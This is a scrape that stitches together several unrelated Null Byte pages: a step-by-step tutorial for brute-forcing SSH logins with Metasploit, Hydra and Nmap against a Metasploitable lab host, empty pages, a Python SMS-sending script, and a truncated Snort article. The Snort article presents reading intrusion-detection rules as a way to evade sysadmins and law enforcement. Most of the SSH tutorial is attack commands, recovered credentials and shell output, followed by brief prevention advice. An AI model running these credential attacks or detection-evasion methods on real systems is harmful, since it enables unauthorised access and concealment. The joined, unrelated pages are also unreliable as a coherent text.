PumpkinsNews:Nature Makes Jack-O'-Lanterns Way CreepierNews:Do You Think It's To Early For Halloween?News:Soon To Be Famous Pumpkin Bread PuddingHow To:Paint Mini Pumpkins as Angry Birds DecorationsNews:Pumpkin Patch with a Bubbling IntroNews:FarmVille Fall/ Autumn Theme |
How to Gain SSH Access to Servers by Brute-Forcing Credentials Β« Null Byte :: WonderHowTo | SSH is one of the most common protocols in use in modern IT infrastructures, and because of this, it can be a valuable attack vector for hackers. One of the most reliable ways to gain SSH access to servers is by brute-forcing credentials. There are a few methods of performing an SSH brute-force attack that will ultimately lead to the discovery of valid login credentials.While not the only ways to do so, we'll be exploring tools such asMetasploit,Hydra, and the Nmap Scripting Engine inNmapto accomplish this task, all of which are included inKali Linux. As for the target, we will be practicing onMetasploitable 2, a purposely vulnerable test environment for pentesting and security research.Overview of SSHSSH, which stands for Secure Shell, is anetwork protocolthat allows for encrypted communication over an insecure network. This was developed as an alternative toTelnet, which sends information in plaintext, which is clearly a problem, especially whenpasswordsare involved.The SSH cryptographic network protocol operates on a client-server model. That is, the client initiates a connection to the server, and communication is established after authentication takes place. SSH can use both password andprivate keyauthentication, the latter of which is considered more secure.Recommended Reading Material:SSH, The Secure Shell: The Definitive GuideUses for SSH include providing a means forremote logins and command execution, file transfer, mobile development, and connectivity troubleshooting in cloud-based applications. Virtually every large enterprise implements SSH in one way or another, making it a valuable technology to become acquainted with.Scan with NmapBefore we begin any brute-force attacks, we need to determine the state of the port that SSH is running on. We can perform a simple Nmap scan to see if it is open or not. Instead of scanning all the default ports, we can specify a single port number with the-pflag.~$ nmap 172.16.1.102 -p 22
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 14:58 CST
Nmap scan report for 172.16.1.102
Host is up (0.0039s latency).
PORT STATE SERVICE
22/tcp open ssh
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.33 secondsAbove, we can see that port 22 is open and the SSH service is running on it. It would be a waste of time if this was closed or not running at all. Now we can start brute-forcing.Method 1: MetasploitThe first method we will try out today involves one of Metasploit's auxiliary scanners. First, start the PostgreSQLdatabasewith the following command.~$ sudo service postgresql startNow, we can fire up Metasploit by typingmsfconsolein theterminal.~$ msfconsole
# cowsay++
____________
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2006 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Use help <command> to learn more about any command
msf5 >You should see "msf" appear, though, for me, it's "msf5" since I'm using the most recent version,Metasploit 5, which can be upgraded by running thelatest version of Kali. It's always a good idea to stay updated in order to take advantage of the latest exploits and tools. Here is the command I use to update:~$ sudo apt update && sudo apt dist-upgradeNext, after being greeted by the welcome banner formsfconsole, we can find the appropriate module with thesearchcommand.msf5 > search ssh
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/windows/ssh/sysax_sshd_kexchange 2013-03-17 normal No Sysax Multi-Server 6.10 SSHD Key Exchange Denial of Service
1 auxiliary/fuzzers/ssh/ssh_kexinit_corrupt normal No SSH Key Exchange Init Corruption
2 auxiliary/fuzzers/ssh/ssh_version_15 normal No SSH 1.5 Version Fuzzer
3 auxiliary/fuzzers/ssh/ssh_version_2 normal No SSH 2.0 Version Fuzzer
4 auxiliary/fuzzers/ssh/ssh_version_corrupt normal No SSH Version Corruption
5 auxiliary/scanner/http/cisco_firepower_login normal No Cisco Firepower Management Console 6.0 Login
6 auxiliary/scanner/http/gitlab_user_enum 2014-11-21 normal No GitLab User Enumeration
7 auxiliary/scanner/ssh/apache_karaf_command_execution 2016-02-09 normal No Apache Karaf Default Credentials Command Execution
8 auxiliary/scanner/ssh/cerberus_sftp_enumusers 2014-05-27 normal No Cerberus FTP Server SFTP Username Enumeration
9 auxiliary/scanner/ssh/detect_kippo normal No Kippo SSH Honeypot Detector
10 auxiliary/scanner/ssh/eaton_xpert_backdoor 2018-07-18 normal No Eaton Xpert Meter SSH Private Key Exposure Scanner
11 auxiliary/scanner/ssh/fortinet_backdoor 2016-01-09 normal No Fortinet SSH Backdoor Scanner
12 auxiliary/scanner/ssh/juniper_backdoor 2015-12-20 normal No Juniper SSH Backdoor Scanner
13 auxiliary/scanner/ssh/karaf_login normal No Apache Karaf Login Utility
14 auxiliary/scanner/ssh/libssh_auth_bypass 2018-10-16 normal No libssh Authentication Bypass Scanner
15 auxiliary/scanner/ssh/ssh_enum_git_keys normal No Test SSH Github Access
16 auxiliary/scanner/ssh/ssh_enumusers normal No SSH Username Enumeration
17 auxiliary/scanner/ssh/ssh_identify_pubkeys normal No SSH Public Key Acceptance Scanner
18 auxiliary/scanner/ssh/ssh_login normal No SSH Login Check Scanner
19 auxiliary/scanner/ssh/ssh_login_pubkey normal No SSH Public Key Login Scanner
20 auxiliary/scanner/ssh/ssh_version normal No SSH Version Scanner
21 exploit/apple_ios/ssh/cydia_default_ssh 2007-07-02 excellent No Apple iOS Default SSH Password Vulnerability
22 exploit/linux/http/alienvault_exec 2017-01-31 excellent Yes AlienVault OSSIM/USM Remote Code Execution
23 exploit/linux/http/php_imap_open_rce 2018-10-23 good Yes php imap_open Remote Code Execution
24 exploit/linux/http/symantec_messaging_gateway_exec 2017-04-26 excellent No Symantec Messaging Gateway Remote Code Execution
25 exploit/linux/http/ubiquiti_airos_file_upload 2016-02-13 excellent No Ubiquiti airOS Arbitrary File Upload
26 exploit/linux/local/ptrace_traceme_pkexec_helper 2019-07-04 excellent Yes Linux Polkit pkexec helper PTRACE_TRACEME local root exploit
27 exploit/linux/ssh/ceragon_fibeair_known_privkey 2015-04-01 excellent No Ceragon FibeAir IP-10 SSH Private Key Exposure
28 exploit/linux/ssh/cisco_ucs_scpuser 2019-08-21 excellent No Cisco UCS Director default scpuser password
29 exploit/linux/ssh/exagrid_known_privkey 2016-04-07 excellent No ExaGrid Known SSH Key and Default Password
30 exploit/linux/ssh/f5_bigip_known_privkey 2012-06-11 excellent No F5 BIG-IP SSH Private Key Exposure
31 exploit/linux/ssh/loadbalancerorg_enterprise_known_privkey 2014-03-17 excellent No Loadbalancer.org Enterprise VA SSH Private Key Exposure
32 exploit/linux/ssh/mercurial_ssh_exec 2017-04-18 excellent No Mercurial Custom hg-ssh Wrapper Remote Code Exec
33 exploit/linux/ssh/quantum_dxi_known_privkey 2014-03-17 excellent No Quantum DXi V1000 SSH Private Key Exposure
34 exploit/linux/ssh/quantum_vmpro_backdoor 2014-03-17 excellent No Quantum vmPRO Backdoor Command
35 exploit/linux/ssh/solarwinds_lem_exec 2017-03-17 excellent No SolarWinds LEM Default SSH Password Remote Code Execution
36 exploit/linux/ssh/symantec_smg_ssh 2012-08-27 excellent No Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability
37 exploit/linux/ssh/vmware_vdp_known_privkey 2016-12-20 excellent No VMware VDP Known SSH Key
38 exploit/multi/http/git_submodule_command_exec 2017-08-10 excellent No Malicious Git HTTP Server For CVE-2017-1000117
39 exploit/multi/http/gitlab_shell_exec 2013-11-04 excellent Yes Gitlab-shell Code Execution
40 exploit/multi/ssh/sshexec 1999-01-01 manual No SSH User Code Execution
41 exploit/unix/http/schneider_electric_net55xx_encoder 2019-01-25 excellent Yes Schneider Electric Pelco Endura NET55XX Encoder
42 exploit/unix/ssh/array_vxag_vapv_privkey_privesc 2014-02-03 excellent No Array Networks vAPV and vxAG Private Key Privilege Escalation Code Execution
43 exploit/unix/ssh/tectia_passwd_changereq 2012-12-01 excellent Yes Tectia SSH USERAUTH Change Request Password Reset Vulnerability
44 exploit/windows/local/unquoted_service_path 2001-10-25 excellent Yes Windows Unquoted Service Path Privilege Escalation
45 exploit/windows/ssh/freeftpd_key_exchange 2006-05-12 average No FreeFTPd 1.0.10 Key Exchange Algorithm String Buffer Overflow
46 exploit/windows/ssh/freesshd_authbypass 2010-08-11 excellent Yes Freesshd Authentication Bypass
47 exploit/windows/ssh/freesshd_key_exchange 2006-05-12 average No FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow
48 exploit/windows/ssh/putty_msg_debug 2002-12-16 normal No PuTTY Buffer Overflow
49 exploit/windows/ssh/securecrt_ssh1 2002-07-23 average No SecureCRT SSH1 Buffer Overflow
50 exploit/windows/ssh/sysax_ssh_username 2012-02-27 normal Yes Sysax 5.53 SSH Username Buffer Overflow
51 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
52 post/linux/gather/enum_network normal No Linux Gather Network Information
53 post/linux/manage/sshkey_persistence excellent No SSH Key Persistence
54 post/multi/gather/jenkins_gather normal No Jenkins Credential Collector
55 post/multi/gather/ssh_creds normal No Multi Gather OpenSSH PKI Credentials Collection
56 post/windows/gather/credentials/mremote normal No Windows Gather mRemote Saved Password Extraction
57 post/windows/gather/enum_putty_saved_sessions normal No PuTTY Saved Sessions Enumeration Module
58 post/windows/manage/forward_pageant normal No Forward SSH Agent Requests To Remote Pageant
59 post/windows/manage/install_ssh normal No Install OpenSSH for Windows
60 post/windows/manage/sshkey_persistence good No SSH Key PersistenceThessh_loginmodule is exactly what we need. Equip it with theusecommand. Afterward, you should "msf5 auxiliary(scanner/ssh/ssh_login), so you know you're working inside the right place.msf5 > use auxiliary/scanner/ssh/ssh_loginThen we can typeoptionsto display the available settings for the scanner.msf5 auxiliary(scanner/ssh/ssh_login) > options
Module options (auxiliary/scanner/ssh/ssh_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOSTS yes The target address range or CIDR identifier
RPORT 22 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE false yes Whether to print output for all attemptsWe need to set a few things in order for this to work properly. First,RHOSTSis the IP address of our target.msf5 auxiliary(scanner/ssh/ssh_login) > set rhosts 172.16.1.102
rhosts => 172.16.1.102Next,STOP_ON_SUCCESSwill stop after finding valid credentials.msf5 auxiliary(scanner/ssh/ssh_login) > set stop_on_success true
stop_on_success => trueThen,USER_FILEis a list of usernames.msf5 auxiliary(scanner/ssh/ssh_login) > set user_file users.txt
user_file => users.txtAndPASS_FILEis a list of passwords.msf5 auxiliary(scanner/ssh/ssh_login) > set pass_file passwords.txt
pass_file => passwords.txtFinally, there'sVERBOSE, which will display all attempts.msf5 auxiliary(scanner/ssh/ssh_login) > set verbose true
verbose => trueFor the user and password files, I used a shortened list containing known credentials for the purpose of this demonstration. In a real attack, you would likely want to use one of the well-knownwordlistsora custom oneto fit your needs.We should be all set now. Typerunat the prompt to kick it off:msf5 auxiliary(scanner/ssh/ssh_login) > run
[-] 172.16.1.102:22 - Failed: 'user:password'
[-] 172.16.1.102:22 - Failed: 'user:Password123'
[-] 172.16.1.102:22 - Failed: 'user:msfadmin'
[-] 172.16.1.102:22 - Failed: 'user:admin'
[-] 172.16.1.102:22 - Failed: 'user:default'
[-] 172.16.1.102:22 - Failed: 'user:root'
[-] 172.16.1.102:22 - Failed: 'user:toor'
[-] 172.16.1.102:22 - Failed: 'user:hello'
[-] 172.16.1.102:22 - Failed: 'user:welcome'
[-] 172.16.1.102:22 - Failed: 'user:hunter2'
[-] 172.16.1.102:22 - Failed: 'msfadmin:password'
[-] 172.16.1.102:22 - Failed: 'msfadmin:Password123'
[+] 172.16.1.102:22 - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (172.16.1.100:37615 -> 172.16.1.102:22) at 2020-08-09 15:06:58 -0600
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedSince we set the verbose option, we can see all the attempts as they take place. Depending on the number of username and password combinations, this can take quite some time to run.When valid credentials are found, a success message is displayed and a command shell is opened. It does not automatically drop us in, though, so we can display the current active sessions with thesessionscommand.msf5 auxiliary(scanner/ssh/ssh_login) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell linux SSH msfadmin:msfadmin (172.16.1.102:22) 172.16.1.100:37615 -> 172.16.1.102:22 (172.16.1.102)This says that it is an SSH connection. To interact with this session, use the-iflag.msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 1
[*] Starting interaction with 1...
id
uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)Now we are connected to the target via SSH and can run commands like normal.Method 2: HydraThe next tool we will use is Hydra, a powerful login cracker which is very fast and supports a number of different protocols. To show the help and some basic usage options, simply typehydrain the terminal. (Note, if you were previously in the msf console, make sure youcdout of it before using Hydra.)~$ hydra
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
Options:
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-C FILE colon separated "login:pass" format, instead of -L/-P options
-M FILE list of servers to attack, one entry per line, ':' to specify port
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-U service module usage details
-h more command line options (COMPLETE HELP)
server the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service the service to crack (see below for supported protocols)
OPT some service modules support additional input (-U for module help)
Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get|post} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
Example: hydra -l user -P passlist.txt ftp://192.168.0.1Hydra contains a range of options, but today we will be using the following:The-Lflag, which specifies a list of login names.The-Pflag, which specifies a list of passwords.ssh://172.16.1.102β our target and protocol.The-tflag set to4, which sets the number of parallel tasks to run.Once we kick it off, the tool will display the status of the attack:~$ hydra -L users.txt -P passwords.txt ssh://172.16.1.102 -t 4
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-09 15:12:47
[DATA] max 4 tasks per 1 server, overall 4 tasks, 90 login tries (l:9/p:10), ~23 tries per task
[DATA] attacking ssh://172.16.1.102:22/After a period of time, it will complete and show us the number of successful logins found.[22][ssh] host: 172.16.1.102 login: msfadmin password: msfadmin
[STATUS] 44.00 tries/min, 44 tries in 00:01h, 46 to do in 00:02h, 4 active
[STATUS] 42.00 tries/min, 84 tries in 00:02h, 6 to do in 00:01h, 4 active
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-09 15:15:10Hydra's parallel processing power makes it a good choice when a large number of potential credentials are involved.Method 3: Nmap Scripting EngineThe last method of brute forcing SSH credentials we will try out today involves the use of theNmap Scripting Engine. NSE contains a script which will attempt to brute-force all possible combinations of a username and password pair. To perform this attack, we can run a simple Nmap scan from a fresh terminal just like before, but with a few extra options tacked on:--script ssh-brutespecifies the script to use.--script-argswill set the arguments for the script, separated by a comma.userdb=users.txtis the list of usernames we wish to use.passdb=passwords.txtis the list of passwords we wish to use.Now, we are ready to start the scan:~$ nmap 172.16.1.102 -p 22 --script ssh-brute --script-args userdb=users.txt,passdb=passwords.txt
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-09 15:17 CSTNSE will display the brute-force attempts and which credentials are being tried. Be patient β depending on the number of usernames and passwords being used, this can take some time.NSE: [ssh-brute] Trying username/password pair: user:user
NSE: [ssh-brute] Trying username/password pair: msfadmin:msfadmin
NSE: [ssh-brute] Trying username/password pair: admin:admin
NSE: [ssh-brute] Trying username/password pair: root:root
NSE: [ssh-brute] Trying username/password pair: john:john
NSE: [ssh-brute] Trying username/password pair: default:default
NSE: [ssh-brute] Trying username/password pair: support:support
NSE: [ssh-brute] Trying username/password pair: service:service
NSE: [ssh-brute] Trying username/password pair: adam:adam
NSE: [ssh-brute] Trying username/password pair: admin:password
NSE: [ssh-brute] Trying username/password pair: root:password
NSE: [ssh-brute] Trying username/password pair: john:password
NSE: [ssh-brute] Trying username/password pair: default:password
NSE: [ssh-brute] Trying username/password pair: support:password
NSE: [ssh-brute] Trying username/password pair: adam:password
NSE: [ssh-brute] Trying username/password pair: admin:Password123
NSE: [ssh-brute] Trying username/password pair: root:Password123
NSE: [ssh-brute] Trying username/password pair: john:Password123
NSE: [ssh-brute] Trying username/password pair: default:Password123
...After a while, the scan will finish and a report will be shown in the terminal.Nmap scan report for 172.16.1.102
Host is up (0.0011s latency).
PORT STATE SERVICE
22/tcp open ssh
| ssh-brute:
| Accounts:
| user:user - Valid credentials
| msfadmin:msfadmin - Valid credentials
| service:service - Valid credentials
|_ Statistics: Performed 66 guesses in 124 seconds, average tps: 0.5
MAC Address: 08:00:27:77:62:6C (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 147.59 secondsAbove, we can see it discovered three valid login credentials. This script is useful because it will iterate through all possible pairs of usernames and passwords, which will sometimes yield more results.How to Prevent SSH Brute-ForcingThe reality is that if you have a server facing the internet, there are going to be loads of SSH brute-force attempts daily, many of which areautomated. But don't fret, there are some simple solutions to help protect against this and cut down on the number of login attempts.Perhaps one of the easiest things to do is change the port number which SSH operates on. Although this will dissuade the most rudimentary brute-force attempts, it is trivial to scan for SSH running on alternate ports.A better method is to implement a service likeFail2ban,DenyHosts, oriptablesto block brute-force attempts at the host level. This, combined with using private key authentication instead of passwords, will put you out of the reach of most attackers. If password-based authentication is absolutely necessary, use strong passwords and followbest practices.Wrapping UpIn this guide, we learned about SSH and how to brute-force credentials to gain access to a target. First, we covered how to identify open ports running SSH. Then we learned how to mount a brute-force attack using three methods: Metasploit, Hydra, and the Nmap Scripting Engine. Finally, we went over some ways to protect against these types of attacks.SSH is a prevalent protocol, so every hacker must know how to attack it β and how to prevent those attacks.Don't Miss:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image bySkitterphoto/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Brute-Force SSH, FTP, VNC & More with BruteDumSPLOIT:How to Make an SSH Brute-Forcer in PythonHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Automate Brute-Force Attacks for Nmap ScansHow To:Use SSH Local Port Forwarding to Pivot into Restricted NetworksHacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!Hacking Windows 10:How to Turn Compromised Windows PCs into Web ProxiesHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHacking Windows 10:How to Intercept & Decrypt Windows Passwords on a Local NetworkSSH the World:Mac, Linux, Windows, iDevices and Android.How To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Brute-Force Nearly Any Website Login with HatchHow To:Use Remote Port Forwarding to Slip Past Firewall Restrictions UnnoticedHow To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Break into Router Gateways with PatatorHow To:Upload a Shell to a Web Server and Get Root (RFI): Part 1Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)How To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkHow To:Use the Chrome Browser Secure Shell App to SSH into Remote DevicesHow To:Extract Windows Usernames, Passwords, Wi-Fi Keys & Other User Credentials with LaZagneHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create an SSH Tunnel Server and Client in LinuxHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Safely Log In to Your SSH Account Without a PasswordGHOST PHISHER:Security Auditing ToolHow To:Run an FTP Server from Home with Linux |
Windows 7 Hacking Β« Null Byte :: WonderHowTo | No content found. |
Bluetooth Hacking Β« Null Byte :: WonderHowTo | No content found. |
How to Send SMS Messages with Python Β« Null Byte :: WonderHowTo | In this article, I'll show you how to send SMS messages with Python. You'll need Python 2.7 or later, urllib and urllib2. The code basically uses an online text messaging service to "POST" html data, as if a person was entering the data themselves. The uses for something like this are unlimited. For example, I modified the basic code so I would receive a text message letting me know every time someone rang my doorbell. The program could interface with Arduino through a serial port, and send data to Python, which in turn forwards it to your phone. Or you could even use the program to notify you when you receive an email. Check outthisarticle on how to make a python Gmail notifier.The CodeThe first part of the code (provider check) takes the first six digits of the entered phone number and checks for the provider, then associates it with the correct "POST" command. The second part (text sender) takes the full phone number and message, and sends it to the online texting site.import urllibimport urllib2number = raw_input("Please Enter The Phone Number:\n")message = raw_input("Please Enter Your Message:\n")prov = ''url2 = 'http://www.txt2day.com/lookup.php'url = 'http://www.onlinetextmessage.com/send.php'values2 = {'action' : 'lookup','pre' : number[0:3],'ex' : number[3:6],'myButton' : 'Find Provider'}data2 = urllib.urlencode(values2) Β ##provider checkerreq2 = urllib2.Request(url2, data2)response2 = urllib2.urlopen(req2)the_page2 = response2.read()if 'Telus' in the_page2:prov = '192'if 'Bell' in the_page2:prov = '48'if 'Rogers' in the_page2:prov = '162'if 'Sprint' in the_page2:prov = '175'if 'T-Mobile' in the_page2:prov = '182'if 'Verizon' in the_page2:prov = '203'if 'Virgin Mobile' in the_page2:prov = '205'if 'AT&T' in the_page2:prov = '41'print provif prov == 0:print "Failed To Identify Provider\n"exitvalues = {'code' : '','number' : number,'from' : '','remember' : 'n','subject' : '','carrier' : prov,'quicktext' : '','message' : message,'s' : 'Send Message'}data = urllib.urlencode(values) Β ##text senderreq = urllib2.Request(url, data)response = urllib2.urlopen(req)the_page = response.read()Possible ModsIf the code fails to find your provider, enter the numberhere, and look for the associated number code to your cell phone providerhere. Insert an "if 'YourCellPhoneProvider' in the_page2: prov = 'AssociatedNumber'". If you'd like to use another online text messaging service, use Firebug to identify the form parameters, and change the "values" variables to the POST values. Enjoy! :)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Fix Delayed iMessages & Text Messages After Upgrading to iOS 7How To:Send & Receive Text Messages Right from Your Nexus 7 3G Tablet (Rooted & Non-Rooted)Anonymous Texting 101:How to Block Your Cell Phone Number While Sending Text MessagesHow To:Keep Long Texts from Breaking into Separate Messages on AndroidNews:Comparing the Best International Data Plans from All Major US CarriersNews:Google to Remove SMS Features from Hangouts (Update: New Version Rolling Out)How To:Send & Receive SMS Texts on Your Computer for FreeHow To:Send & Receive Encrypted Android Texts Using Your Mac's Messages AppHow To:Remotely View & Send Text Messages from Your Android Phone Using Any Web BrowseriPhone Text Bomb Your Friends:The Ultimate SMS PrankHow To:No Data, No ProblemβUse SMS to Connect to Your Favorite Web Services on AndroidNews:Facebook Messenger Can Now Send & Receive All Your TextsβHere's How to Turn It OnNews:Hacker Points Out iOS Security Flaw That Allows iPhone Text SpoofingHow To:Use Gmail's New Confidential Mode to Send Private, Self-Destructing Emails from Your PhoneHow To:Let Friends & Family Know Where You Are Automatically with a Secret Text CodeHow To:Make an SMS Intruder AlarmHow To:TextStats Gives You Detailed Info of Your Text Messaging Habits on AndroidThe Hacks of Mr. Robot:How to Send a Spoofed SMS Text MessageHow To:Send Text SMS from Gmail AccountHow To:Find Your HTC One or Other Android Phone with a Text MessageHow To:Filter Unknown Senders in iMessage to Block Unwanted Notifications & Keep Your Messages App CleanHow To:iOS 12 Makes 2FA for Third-Party Apps & Websites Easy with Security Code AutoFill from SMS TextsHow To:Get Missed Calls & Contact Numbers from Your PhoneβWithout Having Your PhoneHow To:Add a contact to an SMS text message on a BlackBerry phoneHow To:Send Text Messages from Google Home to Any ContactHow To:Block Any Unwanted Text Messages or iMessages on Your iPhone in iOS 7How To:Send & Receive Texts from Your Android Using Apple Messages on Your MacHow To:Bypass Two-Way Authentication on Facebook with Android ScriptHow To:Be More Secretive Using Hide SMS and Call RecorderHow To:Prank Your Apple Friends with 1,000s of iMessages in Just One ClickHow To:Reply to Messages While You're Busy with SMS Replier for AndroidVenmo 101:How to Send Money Using the Messages App on Your iPhoneHow To:Encrypt Your Calls & Texts on AndroidHow To:10 Free Texting Apps for Android That Are Way Better Than Your Stock SMS AppHow To:Code a Basic TCP/IP Client & Server Duo in PythonHow To:Make a Gmail Notifier in PythonHow To:Filter Unwanted Calls & SMS for Free with Google VoiceWeekend Homework:How to Become a Null Byte Contributor (1/29/2012)How To:Encrypt And Decrypt Text In PythonWeekend Homework:How to Become a Null Byte Contributor (1/12/2012) |
Hack Like a Pro: How to Read & Write Snort Rules to Evade an NIDS (Network Intrusion Detection System) Β« Null Byte :: WonderHowTo | Welcome back, my novice hackers!Myrecent tutorialshave been focused upon ways to NOT get caught. Some people call this anti-forensicsβthe ability to not leave evidence that can be tracked to you or your hack by the system administrator or law enforcement.One the most common ways that system admins are alerted to an intrusion on their network is with aNetwork Intrusion Detection System(NIDS). The most widely used of these is Snort.I already did anintroduction to Snort, and now I want to delve deeper to show you how the rules in Snort are designed to detect your intrusion. The more we know about Snort and other NIDS, the better we can evade them.Step 1: Finding the Snort RulesSnort is basically a packet sniffer that applies rules that attempt to identify malicious network traffic. These rules are analogous to anti-virus software signatures. The difference with Snort is that it's open source, so we can see these "signatures."We can see the Snort rules by navigating to/etc/snort/ruleson ourBackTrackinstall. Let's go that directory and take a look.cd /etc/snort/rulesNow, let's do alistingof that directory to see all of our rule files.ls -lAs we can see in the screenshot above, there are numerous Snort rules files. Each of these files contains a category of rules, some with hundreds of rules.Step 2: Viewing Snort RulesThe Snort rules files are simple text files, so we can open and edit them with any text editor. I'll be usingKWrite. Let's open the fileporn.rules. This set of rules is designed to detect pornography on the wire. This is a rather old set of rules and most system admins no longer use it.kwrite /etc/snort/porn.rulesWe can see that these rules are designed to detect a variety of pornography. If you ever wondered how your sysadmin knew you downloaded porn, now you know!Step 3: Examining a RuleLet's take a simple rule and dissect it. Let's open the filescan.rules.kwrite /etc/snort/scan.rulesLet's copy that highlighted rule to a separate text file and dissect it now.Step 4: Dissecting the SF Scan RuleThis rule is designed to detect scans by scanning tools such asnmapand hping. One of those scans is called aSYN-FINscan. This scan sends TCP packets with both the SYN and the FIN flags set to attempt to determine what ports are open on the target system.This type a packet should never be seen in the wild as a packet with both the SYN and the FIN flags set would be asking the system to open a connection (SYN) and close a connection (FIN) simultaneously.It's rather easy to see that any packet with these flags set must be an attempt to do recon on the system and the sysadmin should be alerted.Step 5: Rule HeaderLet's start by examining the first part of that rule from the beginning to the first starting parenthesis. This initial part of the rule is referred to as the header, and ours looks like this:Breaking Down the Rule Headeralert- This the action. It can be alert, log, or pass (drop).tcp- This the protocol of the traffic the rule is looking for. It can be tcp, udp, and icmp.$EXTERNAL_NET- This the source IP or network of the malicious packets. It can beset as a variable in the snort.conf.any- This the source port of the malicious traffic. This can set as a single port, multiple ports, or a range of ports.->- This is the direction of the traffic. In this case, we are looking for traffic moving from the EXTERNAL_NET to the internal or HOME_NET.$HOME_NET- This the destination IP address that the traffic is moving to. As with the EXTERNAL_NET, it can be set as a variable in the snort.conf.any- This the destination port. It can also contain specific ports, like 80, or a variable containing a list of ports.Step 6: Snort Rule OptionsNow let's take a look at the 